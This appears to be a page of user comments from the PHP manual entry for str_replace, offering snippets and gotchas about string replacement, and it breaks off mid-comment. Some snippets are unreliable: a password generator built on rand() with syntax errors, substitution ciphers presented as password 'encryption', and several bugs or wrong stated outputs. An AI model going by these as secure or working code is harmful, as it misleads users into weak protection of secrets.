If you want to remove all dashes but one from the string '-aaa----b-c-----d--e---f' resulting in '-aaa-b-c-d-e-f', you cannot use str_replace. Instead, use preg_replace:

<?php
$challenge = '-aaa----b-c-----d--e---f';
echo str_replace('--', '-', $challenge).'<br>';
echo preg_replace('/--+/', '-', $challenge).'<br>';
?>

This outputs the following:
-aaa--b-c---d-e--f
-aaa-b-c-d-e-f
matthew at euphoriccode dot com 09-Sep-2011 10:52
If you are looking to implement str with password generation the following function will help;

<?php
function gen_pass_process($girth = 17) {
     $str = '';
     for($1 = 0; $i<$girth; $i++) {
          $str . = chr(rand(48,122));
     }
     return $str;
}
?>
didiergm 29-Jul-2011 03:25
php 5.3.2 (may exist before, but it never saw it until today)

the replace is always evaluated before the search takes place.

So if like me you use str_replace to replace some macros in the html code, and these replacement call a function, you must be aware that the functions always runs, not only when  the search is found.

for example:

str_replace (
   array ('%macro1%', '%macro2%'),
   array (myfunction1(), myfunction2(),
   thesource);

myfunction1() and myfunction2() are called regardless of the fact that the source contains %macro1%' or '%macro2%' or not. I genuinely believed that myfunction1 would only be called if %macro1% was found (resp myfunction2 and %macro2%)

I noticed it because myfunction1 was running a database query to increment a value and I noticed that this value was incremented w/o need. It took me a wee while to get to the bottom of it
mbullard at accuvista dot co dot uk 14-Jul-2011 02:42
Insert space after comma.

If you have a form that stores results in a database field as comma separated values, when you display this data you can use the following to insert a space after each comma:

<?php
$find[] = ',';
$replace[] = '&#44;&nbsp;';
$text = str_replace($find, $replace, $row_rsRecordset['Field']);
print_r($text);
?>

Notes:
1) To get round the Replacement Order Gotcha, the comma is also replaced with its code equivalent: &#44;
2) You can adapt the $replace section to suit your needs: swap out the &nbsp; code with <br/> or replace comma and space with &nbsp;&middot;&nbsp; etc.
hakre 06-Jul-2011 08:08
I was looking for a str_replace function supporting callbacks. As I didn't found one I wrote one my own. Works exactly like str_replace, but the replace parameter is a callback or an array of callbacks (instead of string/strings in str_replace). The callback function accepts two arguments, the string that is being replaced and the count of the replacement being done.

<?php
/**
 * str_ureplace
 *
 * str_replace like function with callback
 *
 * @param string|array search
 * @param callback|array $replace
 * @param string|array $subject
 * @param int $replace_count
 * @return string|array subject with replaces, FALSE on error.
 */
function str_ureplace($search, $replace, $subject, &$replace_count = null) {
    $replace_count = 0;

    // validate input
    $search = array_values((array) $search);
    $searchCount = count($search);
    if (!$searchCount) {
        return $subject;
    }
    foreach($search as &$v) {
        $v = (string) $v;
    }
    unset($v);
    $replaceSingle = is_callable($replace);
    $replace = $replaceSingle ? array($replace) : array_values((array) $replace);
    foreach($replace as $index=>$callback) {
        if (!is_callable($callback)) {
            throw new Exception(sprintf('Unable to use %s (#%d) as a callback', gettype($callback), $index));
        }
    }

    // search and replace
    $subjectIsString = is_string($subject);
    $subject = (array) $subject;
    foreach($subject as &$haystack) {
        if (!is_string($haystack)) continue;
        foreach($search as $key => $needle) {
            if (!$len = strlen($needle))
                continue;
            $replaceSingle && $key = 0;
            $pos = 0;
            while(false !== $pos = strpos($haystack, $needle, $pos)) {
                $replaceWith = isset($replace[$key]) ? call_user_func($replace[$key], $needle, ++$replace_count) : '';
                $haystack = substr_replace($haystack, $replaceWith, $pos, $len);
            }
        }
    }
    unset($haystack);

    return $subjectIsString ? reset($subject) : $subject;
}
?>
ahmed dot 3abdolah at gmail dot com 24-Jun-2011 11:05
Hello , this is a simple function programed by str_replace for crypting password and ....etc .
You can do verry much think with str_replace :
look at this:
<?PHP
/*
 *This Function Is programed By MR-O
 *The first arabic Function for crypting
*/
function abo($variable){
$variable =str_replace("1",1 ^ 52 ,$variable);
$variable =str_replace("2",2 ^ 5 ,$variable);
$variable =str_replace("3",3 ^ 8 ,$variable);
$variable =str_replace("4",4 ^ 18 ,$variable);
$variable =str_replace("5",5 ^ 30 ,$variable);
$variable =str_replace("6",6 ^ 42 ,$variable);
$variable =str_replace("7",7 ^ 26 ,$variable);
$variable =str_replace("8",8 ^ 62 ,$variable);
$variable =str_replace("9",9 ^ 1 ,$variable);
$variable =str_replace("0",0 ^ 3 ,$variable);
$variable =str_replace("a","m8" ,$variable);
$variable =str_replace("b","2s" ,$variable);
$variable =str_replace("c","9e" ,$variable);
$variable =str_replace("d","6s" ,$variable);
$variable =str_replace("e","a3" ,$variable);
$variable =str_replace("f","m3" ,$variable);
$variable =str_replace("g","6f" ,$variable);
$variable =str_replace("h","9c" ,$variable);
$variable =str_replace("i","85" ,$variable);
$variable =str_replace("j","32" ,$variable);
$variable =str_replace("k","1a" ,$variable);
$variable =str_replace("l","6e" ,$variable);
$variable =str_replace("m","5f" ,$variable);
$variable =str_replace("n","9r" ,$variable);
$variable =str_replace("o","z0" ,$variable);
$variable =str_replace("p","y6" ,$variable);
$variable =str_replace("q","9i" ,$variable);
$variable =str_replace("r","y9" ,$variable);
$variable =str_replace("s","5g" ,$variable);
$variable =str_replace("t","p3" ,$variable);
$variable =str_replace("u","d5" ,$variable);
$variable =str_replace("v","t8" ,$variable);
$variable =str_replace("w","2x" ,$variable);
$variable =str_replace("x","6w" ,$variable);
$variable =str_replace("y","v9" ,$variable);
$variable =str_replace("z","zv" ,$variable);
$variable =str_replace("A","m8" ,$variable);
$variable =str_replace("B","24d" ,$variable);
$variable =str_replace("C","9e" ,$variable);
$variable =str_replace("D","6s2" ,$variable);
$variable =str_replace("E","qw" ,$variable);
$variable =str_replace("F","oe" ,$variable);
$variable =str_replace("G","0t" ,$variable);
$variable =str_replace("H","o9" ,$variable);
$variable =str_replace("I","74" ,$variable);
$variable =str_replace("J","dd" ,$variable);
$variable =str_replace("K","2b" ,$variable);
$variable =str_replace("L","rt" ,$variable);
$variable =str_replace("M","0c" ,$variable);
$variable =str_replace("N","2w" ,$variable);
$variable =str_replace("O","te" ,$variable);
$variable =str_replace("P","sc" ,$variable);
$variable =str_replace("Q","uy" ,$variable);
$variable =str_replace("R","hp" ,$variable);
$variable =str_replace("S","h1" ,$variable);
$variable =str_replace("T","s5" ,$variable);
$variable =str_replace("U","fs" ,$variable);
$variable =str_replace("V","e1s" ,$variable);
$variable =str_replace("W","1y" ,$variable);
$variable =str_replace("X","dv" ,$variable);
$variable =str_replace("Y","w2" ,$variable);
$variable =str_replace("Z","w5" ,$variable);
$variable = str_replace('1','5b',$variable);
$variable = str_replace('2','b1',$variable);
$variable = str_replace('3','0j',$variable);
$variable = str_replace('4','1e',$variable);
$variable = str_replace('5','z2',$variable);
$variable = str_replace('6','15e',$variable);
$variable = str_replace('7','d2',$variable);
$variable = str_replace('8','e5b',$variable);
$variable = str_replace('9','y8',$variable);
$variable = str_replace('0','g1y7',$variable);
echo $variable ;
}

?>

thanks , MR-O .
biohazard dot ge at gmail dot com 20-May-2011 02:33
Replace and match strings between two needles in large haystack quicker (?):

<?php
//Assume you have input:

$input = "<p> Images
 <img src='some/image_1.jpg'> This is a cat
and <img src=some/image_2.jpg> That is a bat
and <img src="some/image_3.jpg"> What is this
and <img src=some/image_4.jpg> What is that
</p>
";

between_replace ('<img src="','">', $input, "{*}");
between_replace ('<img src=\'','\'>', $input, "{*}");
between_replace ('<img src=','>', $input, "'{*}'");

//As result we have

//$input == "<p> Images
// <img src='some/image_1.jpg'> This is a cat
//and <img src='some/image_2.jpg'> That is a bat
//and <img src='some/image_3.jpg'> What is this
//and <img src='some/image_4.jpg'> What is that
//</p>
//";

$result = between_fetch ("<img src='","'>", $input);

// $result == array ('some/image_1.jpg', 'some/image_2.jpg', 'some/image_3.jpg', 'some/image_4.jpg');
?>

Not a good example but only with them and str_replace I parsed word converted html for epub. This is what people invent not willing to get familiar with regular expressions...

<?php

    function between_replace ($open, $close, &$in, $with, $limit=false, $from=0)
    {
        if ($limit!==false && $limit==0)
        {
            return $in;
        }
        $open_position = strpos ($in, $open, $from);
        if ($open_position===false)
        {
            return false;
        };
        $close_position = strpos ($in, $close, $open_position+strlen($open));
        if ($close_position===false)
        {
            return false;
        };
        $current = false;
        if (strpos($with,'{*}')!==false)
        {
            $current = substr ($in, $open_position+strlen($open), $close_position-$open_position-strlen($open));
            $current = str_replace ('{*}',$current,$with);
            //debug_echo ($current);
        }
        else
        {
            $current = $with;
        }
        $in = substr_replace ($in, $current, $open_position+strlen($open), $close_position-$open_position-strlen($open));
        $next_position = $open_position + strlen($current) + 1;
        if ($next_position>=strlen($in))
        {
            return false;
        }
        if ($limit!==false)
        {
            $limit--;
        }
        between_replace ($open, $close, $in, $with, $limit, $next_position);
        return $in;
    }

    function between_fetch ($open, $close, &$in, &$result=null, $with='', $limit=false, $from=0)
    {
        if ($limit!==false && $limit==0)
        {
            return $in;
        };
        if (!is_array($result))
        {
            $result = array ();
        }
        $open_position = strpos ($in, $open, $from);
        if ($open_position===false)
        {
            return false;
        };
        $close_position = strpos ($in, $close, $open_position+strlen($open));
        if ($close_position===false)
        {
            return false;
        };
        $current = substr ($in, $open_position+strlen($open), $close_position-$open_position-strlen($open));
        $next_position = $open_position + strlen($current) + 1;
        if ($with!='')
        {
            $current = str_replace('{*}', $current, $with);
        }
        $result[] = $current;
        if ($next_position>=strlen($in))
        {
            return false;
        }
        if ($limit!==false)
        {
            $limit--;
        }
        between_fetch ($open, $close, $in, $result, $with, $limit, $next_position);
        return $in;
    }

?>
jay_knows_(all)uk at hotmail dot com 16-Feb-2011 07:16
This strips out horrible MS word characters.

Just keep fine tuning it until you get what you need, you'll see ive commented some out which caused problems for me.

There could be some that need adding in, but its a start to anyone who wishes to make their own custom function.

<?php

function msword_conversion($str)
{
$str = str_replace(chr(130), ',', $str);    // baseline single quote
$str = str_replace(chr(131), 'NLG', $str);  // florin
$str = str_replace(chr(132), '"', $str);    // baseline double quote
$str = str_replace(chr(133), '...', $str);  // ellipsis
$str = str_replace(chr(134), '**', $str);   // dagger (a second footnote)
$str = str_replace(chr(135), '***', $str);  // double dagger (a third footnote)
$str = str_replace(chr(136), '^', $str);    // circumflex accent
$str = str_replace(chr(137), 'o/oo', $str); // permile
$str = str_replace(chr(138), 'Sh', $str);   // S Hacek
$str = str_replace(chr(139), '<', $str);    // left single guillemet
// $str = str_replace(chr(140), 'OE', $str);   // OE ligature
$str = str_replace(chr(145), "'", $str);    // left single quote
$str = str_replace(chr(146), "'", $str);    // right single quote
// $str = str_replace(chr(147), '"', $str);    // left double quote
// $str = str_replace(chr(148), '"', $str);    // right double quote
$str = str_replace(chr(149), '-', $str);    // bullet
$str = str_replace(chr(150), '-–', $str);    // endash
$str = str_replace(chr(151), '--', $str);   // emdash
// $str = str_replace(chr(152), '~', $str);    // tilde accent
// $str = str_replace(chr(153), '(TM)', $str); // trademark ligature
$str = str_replace(chr(154), 'sh', $str);   // s Hacek
$str = str_replace(chr(155), '>', $str);    // right single guillemet
// $str = str_replace(chr(156), 'oe', $str);   // oe ligature
$str = str_replace(chr(159), 'Y', $str);    // Y Dieresis
$str = str_replace('°C', '&deg;C', $str);    // Celcius is used quite a lot so it makes sense to add this in
$str = str_replace('£', '&pound;', $str);
$str = str_replace("'", "'", $str);
$str = str_replace('"', '"', $str);
$str = str_replace('–', '&ndash;', $str);

return $str;
}

?>
Oleg Butuzov butuzov at made dot com dot ua 01-Feb-2011 07:26
Sometimes we need replace just first occurrence , a small function that can help you.

<?php
    $string = 'alpharomero alpha arlekino';

    var_dump(str_replace_once('alpha','[replaced]', $string));
    var_dump($string);
    echo '<hr>';

    var_dump(str_replace_once('a','[replaced]', $string));
    var_dump($string);
    echo '<hr>';

    var_dump(str_replace_once('abnormal','[replaced]', $string));
    var_dump($string);
    echo '<hr>';

    var_dump(str_replace_once('n','[replaced]', $string));
    var_dump($string);
    echo '<hr>';

    function str_replace_once($str_pattern, $str_replacement, $string){

        if (strpos($string, $str_pattern) !== false){
            $occurrence = strpos($string, $str_pattern);
            return substr_replace($string, $str_replacement, strpos($string, $str_pattern), strlen($str_pattern));
        }

        return $string;
    }
?>
mevdschee 29-Jan-2011 03:19
say you want every "a" replaced by "abba" and every "b" replaced by "baab" in the string "ab" you do:

<?php
$search = array("a","b");
$replace = array("abba","baab");
echo str_replace($search,$replace,"ab");
?>

that results in "abaabbaababaab" and not the expected "abbabaab"

I wrote this little snippet to solve the replacements-in-replacement problem:

<?php
function search_replace($s,$r,$sql)
{ $e = '/('.implode('|',array_map('preg_quote', $s)).')/';
  $r = array_combine($s,$r);
  return preg_replace_callback($e, function($v) use ($s,$r) { return $r[$v[1]]; },$sql);
}

echo search_replace($search,$replace,"ab");
?>

that results in the expected "abbabaab"
Viam 17-Jan-2011 09:57
This way it is possible to make a encryption of some sort
A small script i wrote.
Proof of concept:

<?php
//Data to be encrypted.Take note that it has to be text.
$Input_data  = "i want a apple";//Place the text here
$Encrypter_variables= array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z");
$Variables_replace = array("1", "2", "3", "4", "5", "6", "7", "8", "9", "%", "!", "@", "#", "$", "^", "&", "*","~", "+", ":", "-", "=", "?", "'", ".", "<");
$New_data = str_replace($Encrypter_variables, $Variables_replace, $Input_data);

echo $New_data;//Displays the encrypted data,In this case it is 9 ?1$: 1 1&&@5

//Data to be decrypted
$Output_data  = "9 ?1$: 1 1&&@5";////Place the encrypted data here
$Decrypter_variables =  array("1", "2", "3", "4", "5", "6", "7", "8", "9", "%", "!", "@", "#", "$", "^", "&", "*","~", "+", ":", "-", "=", "?", "'", ".", "<");
$Variables_assign  = array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z");
$Newer = str_replace($Decrypter_variables, $Variables_assign  , $Output_data);

echo $Newer;//Displays the decrypted data Which is i want a apple
?>
Steve 13-Jan-2011 06:22
Just a note about the json_decode solution from nikolaz dot tang at hotmail dot com
It may return an instance of stdClass, which may not quite be what you want.  (using multi-dimensional arrays)

IF you want to be sure, stick to the proper recursive solution.
nikolaz dot tang at hotmail dot com 11-Nov-2010 08:57
A faster way to replace the strings in multidimensional array is to json_encode() it, do the str_replace() and then json_decode() it, like this:

<?php
function str_replace_json($search, $replace, $subject){
     return json_decode(str_replace($search, $replace,  json_encode($subject)));

}
?>

This method is almost 3x faster (in 10000 runs.) than using recursive calling and looping method, and 10x simpler in coding.

Compared to:

<?php
function str_replace_deep($search, $replace, $subject)
{
    if (is_array($subject))
    {
        foreach($subject as &$oneSubject)
            $oneSubject = str_replace_deep($search, $replace, $oneSubject);
        unset($oneSubject);
        return $subject;
    } else {
        return str_replace($search, $replace, $subject);
    }
}
?>
jpoirier at hotmail.fr 25-Jun-2010 05:40
I've found something interesting about the $count param:

As of 5.0.0 the last parameter (count) is passed by reference (it is optional). So 2 choices :
1)passed not by reference - it's limit
2)passed by reference : the var is is_null() - all occurences are replaced the number is returned in "count", otoh if the var !is_null() -> use as limit.

On version 5.3.0 the 4th parameter, count, does not work when not passed
by reference.

http://bugs.php.net/bug.php?id=11457

Hope this help
apmuthu at usa dot net 19-Jun-2010 12:31
If we have a html template that contains placeholders in curly braces that need to be replaced in runtime, the following function will do it using str_replace:

<?php

function parse_template($filename, $data) {
// example template variables {a} and {bc}
// example $data array
// $data = Array("a" => 'one', "bc" => 'two');
    $q = file_get_contents($filename);
    foreach ($data as $key => $value) {
        $q = str_replace('{'.$key.'}', $value, $q);
    }
    return $q;
}

?>
cableray 11-Jun-2010 12:03
If you wish to get around the 'gotcha', you could do something like this:

<?php

$find=array('a', 'p', '^', '*');
$replace = array('^', '*', 'apple', 'pear');
str_replace($find, $replace, 'a p');

?>

The idea here is that you first replace the items you want with unique identifiers (that you are unlikely to find in the subject) and then search for those identifiers and then replace them.
christian dot reinecke at web dot de 14-May-2010 12:06
If you need to replace a string in another, but only once but still in all possible combinations (f.e. to replace "a" with "x" in "aba" to get array("xba", "abx")) you can use this function:
<?php
function getSingleReplaceCombinations($replace, $with, $inHaystack)
{
    $splits = explode($replace, $inHaystack);
    $result = array();
    for ($i = 1, $ix = count($splits); $i < $ix; ++$i) {
        $previous = array_slice($splits, 0, $i);
        $next     = array_slice($splits, $i);

        $combine  = array_pop($previous) . $with . array_shift($next);
        $result[] = implode($replace, array_merge($previous, array($combine), $next));
    }
    return $result;
}
var_dump(getSingleReplaceCombinations("a", "x", "aba")); // result as mentioned above
?>
It may not be the best in performance, but it works.
jbarnett at jmbelite dot com 26-Apr-2010 01:23
Might be worth mentioning that a SIMPLE way to accomplish Example 2 (potential gotchas) is to simply start your "replacements" in reverse.

So instead of starting from "A" and ending with "E":

<?php
$search  = array('A', 'B', 'C', 'D', 'E');
$replace = array('B', 'C', 'D', 'E', 'F');
// replaces A to B, B to C, C to D, D to E, E to F (makes them all F)
// start from "E" and end with "A":

$search  = array('E', 'D', 'C', 'B', 'A');
$replace = array('F', 'E', 'D', 'C', 'B');
// replaces E to F, D to E, C to D, B to C, A to B (prevents from
// multiple replacements of already replaced values)
?>

So basically start from the "end" and put the replacements in an order where the "replaced value" won't equal a value that exists later in the "search array".
pjcdawkins at googlemail dot com 23-Apr-2010 05:23
Here's a deep replace function allowing multi-dimensional arrays in $search, $replace and $subject. The keys and other structure of $subject are preserved.

<?php
// Auxiliary function:
function _replaceWithAnything($search,$replace,$subject){
  if(!is_array($search) || !is_array($replace)){
    $search=array($search);
    $replace=array($replace);
  }
  $match=array_search($subject,$search,true);
  if($match!==false && array_key_exists($match,$replace))
    $subject=$replace[$match];
  return $subject;
}

// Main function:
function deepReplace($search,$replace,$subject){
  if(!is_array($subject))
    return _replaceWithAnything($search,$replace,$subject);
  foreach($subject as &$val){
    if(is_array($val)){
      $val=deepReplace($search,$replace,$val);
      continue;
    }
    $val=_replaceWithAnything($search,$replace,$val);
  }
  return $subject;
}
?>
fleshgrinder at gmx dot at 16-Apr-2010 05:50
Fast function to replace new lines from a given string. This is interesting to replace all new lines from e. g. a text formatted in HTML retrieved from database and printing it without the unnecessary new lines. This results in slightly faster rendering in the Web browser.

<?php

/**
 * Replace all linebreaks with one whitespace.
 *
 * @access public
 * @param string $string
 *   The text to be processed.
 * @return string
 *   The given text without any linebreaks.
 */
function replace_newline($string) {
  return (string)str_replace(array("\r", "\r\n", "\n"), '', $string);
}

?>
Wes Foster 17-Dec-2009 01:32
Feel free to optimize this using the while/for or anything else, but this is a bit of code that allows you to replace strings found in an associative array.

For example:
<?php
$replace = array(
'dog' => 'cat',
'apple' => 'orange'
'chevy' => 'ford'
);

$string = 'I like to eat an apple with my dog in my chevy';

echo str_replace_assoc($replace,$string);

// Echo: I like to eat an orange with my cat in my ford
?>

Here is the function:

<?php
function strReplaceAssoc(array $replace, $subject) {
   return str_replace(array_keys($replace), array_values($replace), $subject);
}
?>

[Jun 1st, 2010 - EDIT BY thiago AT php DOT net: Function has been replaced with an updated version sent by ljelinek AT gmail DOT com]
jonathon at compwright dot com 12-Nov-2009 09:23
If you get a blank page when passing an object to str_replace() (relying on __toString() to convert the object to a string) then you may need to force string context using (string), like so:

<?php
private function _load_vars($vars, &$source = false) {
    if(!$source) $source =& $this->code;
        foreach((array)$vars as $key => $var) {
            $source = str_replace("{".$key."}", (string) $var, $source);
        }
    }
}
?>

I was running Ubuntu Server with PHP 5.2.6 and getting apache segfaults and mysterious blank pages when $var happened to be certain objects.
Chris 01-Nov-2009 08:22
Compress a string's internal spaces:
<?php
$str = ' This is    a    test   ';
$count = 1;
while($count)
    $str = str_replace('  ', ' ', $str, $count);
?>
Decko 15-Oct-2009 01:41
As mentioned earlier you should take the order into account when substituting multiple values.

However it is worth noticing that str_replace doesn't seem to re-read the string when doing single replacements. Take the following example.

<?php
  $s = '/a/a/';
  $s = str_replace('/a/', '/', $s);
?>

You would expect the following.

First replacement '/a/a/' -> '/a/'
Second replacement '/a/'->'/'

This is not the case, the actual result will be '/a/'.

To fix this, you will have to put str_replace in a while-loop.

<?php
  $s = '/a/a/';
  while(strpos($s, '/a/') !== false)
    $s = str_replace('/a/', '/', $s); //eventually $s will == '/'
?>
Alberto Lepe 15-Jun-2009 07:44
Be careful when replacing characters (or repeated patterns in the FROM and TO arrays):

For example:

<?php
$arrFrom = array("1","2","3","B");
$arrTo = array("A","B","C","D");
$word = "ZBB2";
echo str_replace($arrFrom, $arrTo, $word);
?>

I would expect as result: "ZDDB"
However, this return: "ZDDD"
(Because B = D according to our array)

To make this work, use "strtr" instead:

<?php
$arr = array("1" => "A","2" => "B","3" => "C","B" => "D");
$word = "ZBB2";
echo strtr($word,$arr);
?>

This returns: "ZDDB"
moz667 at gmail dot com 21-May-2009 09:49
<?php
/*
This is a function for made recursive str_replaces in an array
*/
function recursive_array_replace($find, $replace, &$data) {
    if (is_array($data)) {
        foreach ($data as $key => $value) {
            if (is_array($value)) {
                recursive_array_replace($find, $replace, $data[$key]);
            } else {
                $data[$key] = str_replace($find, $replace, $value);
            }
        }
    } else {
        $data = str_replace($find, $replace, $data);
    }
}

$a = array();
$a['a'] = "a";
$a['b']['a'] = "ba";
$a['b']['b'] = "bb";
$a['c'] = "c";
$a['d']['a'] = "da";
$a['d']['b'] = "db";
$a['d']['c'] = "dc";
$a['d']['d'] = "dd";

echo "Before Replaces";
print_r($a);

recursive_array_replace("a", "XXXX", $a);

echo "After Replaces";
print_r($a);
?>
michael dot moussa at gmail dot com 29-Jan-2009 06:38
As previous commentators mentioned, when $search contains values that occur earlier in $replace, str_replace will factor those previous replacements into the process rather than operating solely on the original string.  This may produce unexpected output.

Example:

<?php
$search = array('A', 'B', 'C', 'D', 'E');
$replace = array('B', 'C', 'D', 'E', 'F');
$subject = 'ABCDE';

echo str_replace($search, $replace, $subject); // output: 'FFFFFF'
?>

In the above code, the $search and $replace should replace each occurrence in the $subject with the next letter in the alphabet.  The expected output for this sample is 'BCDEF'; however, the actual output is 'FFFFF'.

To more clearly illustrate this, consider the following example:

<?php
$search = array('A', 'B', 'C', 'D', 'E');
$replace = array('B', 'C', 'D', 'E', 'F');
$subject = 'A';

echo str_replace($search, $replace, $subject); // output: 'F'
?>

Since 'A' is the only letter in the $search array that appears in $subject, one would expect the result to be 'B'; however, replacement number $n does *not* operate on $subject, it operates on $subject after the previous $n-1 replacements have been completed.

The following function utilizes array_combine and strtr to produce the expected output, and I believe it is the most efficient way to perform the desired string replacement without prior replacements affecting the final result.

<?php
/**
* When using str_replace(...), values that did not exist in the original string (but were put there by previous
* replacements) will be replaced continuously.  This string replacement function is designed replace the values
* in $search with those in $replace while not factoring in prior replacements.  Note that this function will
* always look for the longest possible match first and then work its way down to individual characters.
*
* The "o" in "stro_replace" represents "original", indicating that the function operates only on the original string.
*
* @param array $search list of strings or characters that need to be replaced
* @param array $replace list of strings or characters that will replace the corresponding values in $search
* @param string $subject the string on which this operation is being performed
*
* @return string $subject with all substrings in the $search array replaced by the values in the $replace array
*/
function stro_replace($search, $replace, $subject)
{
    return strtr( $subject, array_combine($search, $replace) );
}

$search = array('A', 'B', 'C', 'D', 'E');
$replace = array('B', 'C', 'D', 'E', 'F');
$subject = 'ABCDE';

echo stro_replace($search, $replace, $subject); // output: 'BCDEF'
?>

Some other examples:

<?php
$search = array(' ', '&');
$replace = array('&nbsp;', '&amp;');
$subject = 'Hello & goodbye!';

// We want to replace the spaces with &nbsp; and the ampersand with &amp;
echo str_replace($search, $replace, $subject); // output: "Hello&amp;nbsp&amp;&amp;nbspgoodbye!" - wrong!

echo stro_replace($search, $replace, $subject); // output: "Hello&nbsp;&amp;&nbsp;goodbye!" - correct!

/*
    Note:  Run the above code in the CLI or view source on your web browser - the replacement strings for stro_replace are HTML entities which the browser interprets.
*/
?>

<?php
$search = array('ERICA', 'AMERICA');
$replace = array('JON', 'PHP');
$subject = 'MIKE AND ERICA LIKE AMERICA';

// We want to replace the name "ERICA" with "JON" and the word "AMERICA" with "PHP"
echo str_replace($search, $replace, $subject); // output: "MIKE AND JON LIKE AMJON", which is not correct

echo stro_replace($search, $replace, $subject); // output: "MIKE AND JON LIKE PHP", which is correct
?>
nospam at nospam dot com 02-Dec-2008 02:55
Replacement for str_replace in which a multiarray of numerically keyed data can be properly evaluated with the given template without having a search for 11 be mistaken for two 1's next to each other

<?php

function data_template($input, $template) {
  if ($template) { // template string
    if ($split = str_split($template)) { // each char as array member
      foreach ($split as $char) { // each character
        if (is_numeric($char)) { // test for digit
          if ($s != 1) { // new digit sequence
            $i++;
            $s = 1;
          }
          $digits[$i] .= $char; // store digit
        } else { // not a digit
          if ($s != 2) { // new non-digit sequence
            $i++;
            $s = 2;
          }
          $strings[$i] .= $char; // store string
        }
      }
      if ($i && $input && is_array($input)) { // input data
        foreach ($input as $sub) { // each subarray
          if (is_array($sub)) {
            $out = ''; // reset output
            for ($j = 0; $j <= $i; $j++) { // each number/string member
              if ($number = $digits[$j]) { // number
                $out .= $sub[$number]; // add value from subarray to output
              } else { // string
                $out .= $strings[$j]; // add to output
              }
            }
            $a[] = $out;
          }
        }
        return $a;
      } // input
    } // split
  } // template
}

$input = array(array(1=>'yellow', 2=>'banana', 11=>'fruit'), array(1=>'green', 2=>'spinach', 11=>'vegetable'), array(1=>'pink', 2=>'salmon', 11=>'fish'));

print_r (data_template($input, '2: a 1, healthy 11'));

/*
Array
(
    [0] => banana: a yellow, healthy fruit
    [1] => spinach: a green, healthy vegetable
    [2] => salmon: a pink, healthy fish
)
*/

// str_replace would have wanted to output 'banana: a yellow, healthy yellowyellow

?>

Not sure if this will help anyone but I wrote it for my application and thought I would share just in case
nick at NOSPAM dot pitchinteractive dot com 06-Oct-2008 04:12
I tried max at efoxdesigns dot com solution for str_replace_once but it didn't work quite right so I came up with this solution (all params must be strings):

<?php
function str_replace_once($search, $replace, $subject) {
    $firstChar = strpos($subject, $search);
    if($firstChar !== false) {
        $beforeStr = substr($subject,0,$firstChar);
        $afterStr = substr($subject, $firstChar + strlen($search));
        return $beforeStr.$replace.$afterStr;
    } else {
        return $subject;
    }
}
?>
paolo A T doppioclick D O T com 05-Sep-2008 04:15
For PHP 4 < 4.4.5 and PHP 5 < 5.2.1 you may occur (like me) in this bug:

http://www.php-security.org/MOPB/MOPB-39-2007.html
troy at troyonline dot com 22-Jun-2008 10:18
Yet another deep replace function:

<?php
    function str_replace_deep( $search, $replace, $subject)
    {
        $subject = str_replace( $search, $replace, $subject);

        foreach ($subject as &$value)
            is_array( $value) and $value =str_replace_deep( $search, $replace, $value);

        return $subject;
    }
?>
David Gimeno i Ayuso (info at sima dot cat) 09-Aug-2007 12:22
With PHP 4.3.1, at least, str_replace works fine when working with single arrays but mess it all with two or more dimension arrays.

<?php
$subject = array("You should eat this","this","and this every day.");
$search  = "this";
$replace = "that";
$new     = str_replace($search, $replace, $subject);

print_r($new); // Array ( [0] => You should eat that [1] => that [2] => and that every day. )

echo "<hr />";

$subject = array(array("first", "You should eat this")
                ,array("second","this")
                ,array("third", "and this every day."));
$search  = "this";
$replace = "that";
$new     = str_replace($search, $replace, $subject);

print_r($new); // Array ( [0] => Array [1] => Array [2] => Array )

?>
tim at hysniu dot com 05-Jun-2007 11:27
I found that having UTF-8 strings in as argument didnt
work for me using heavyraptors function.
Adding UTF-8 as argument on htmlentities
fixed the problem.

cheers, tim at hysniu.com

<?php
function replace_accents($str) {
  $str = htmlentities($str, ENT_COMPAT, "UTF-8");
  $str = preg_replace(
'/&([a-zA-Z])(uml|acute|grave|circ|tilde);/',
'$1',$str);
  return html_entity_decode($str);
}

?>
kole 25-Feb-2007 05:48
My input is MS Excel file but I want to save ‘,’,“,” as ',',",".

    $badchr        = array(
        "\xc2", // prefix 1
        "\x80", // prefix 2
        "\x98", // single quote opening
        "\x99", // single quote closing
        "\x8c", // double quote opening
        "\x9d"  // double quote closing
    );

    $goodchr    = array('', '', '\'', '\'', '"', '"');

    str_replace($badchr, $goodchr, $strFromExcelFile);

Works for me.
rlee0001 at sbcglobal dot net 16-Feb-2007 12:30
This is a more rigid alternative to spectrereturns at creaturestoke dot com's replace_different function:

<?php

        function str_replace_many ($search, $replacements, $subject) {
            $index = strlen($subject);
            $replacements = array_reverse($replacements);

            if (count($replacements) != substr_count($subject, $search)) {
                return FALSE;
            }

            foreach ($replacements as $replacement) {
                $index = strrpos(substr($subject, 0, $index), $search);
                $prefix = substr($subject, 0, $index);
                $suffix = substr($subject, $index + 1);
                $subject = $prefix . $replacement . $suffix;
            }

            return $subject;
        }
?>

This will return false if there are a different number of $replacements versus number of occurrences of $search in $subject. Additionally, $search much be exactly one character (if a string is provided, only the first character in the string will be used). Examples:

<?php
        echo str_replace_many('?',array('Jane','banana'),'? is eating a ?.');
?>

prints: "Jane is eating a banana."
15-Jan-2007 01:42
Before spending hours searching your application why it makes UTF-8 encoding into some malformed something with str_replace, make sure you save your PHP file in UTF-8 (NO BOM).

This was at least one of my problems.
matt wheaton 30-Mar-2006 07:40
As an effort to remove those Word copy and paste smart quotes, I've found that this works with UTF8 encoded strings (where $text in the following example is UTF8). Also the elipsis and em and en dashes are replaced.

There is an "invisible" character after the â€ for the right side double smart quote that doesn't seem to display here. It is chr(157).

<?php
  $find[] = 'â€œ';  // left side double smart quote
  $find[] = 'â€';  // right side double smart quote
  $find[] = 'â€˜';  // left side single smart quote
  $find[] = 'â€™';  // right side single smart quote
  $find[] = 'â€¦';  // elipsis
  $find[] = 'â€”';  // em dash
  $find[] = 'â€“';  // en dash

  $replace[] = '"';
  $replace[] = '"';
  $replace[] = "'";
  $replace[] = "'";
  $replace[] = "...";
  $replace[] = "-";
  $replace[] = "-";

  $text = str_replace($find, $replace, $text);
?>
David Gimeno i Ayuso (info at sima-pc dot com) 25-Aug-2003 06:12
Take care with order when using arrays in replacement.

<?php
$match=array("ONE","TWO","THREE");
$replace=array("TWO WORDS","MANY LETTERS","OTHER IDEAS");
$sample="ONE SAMPLE";
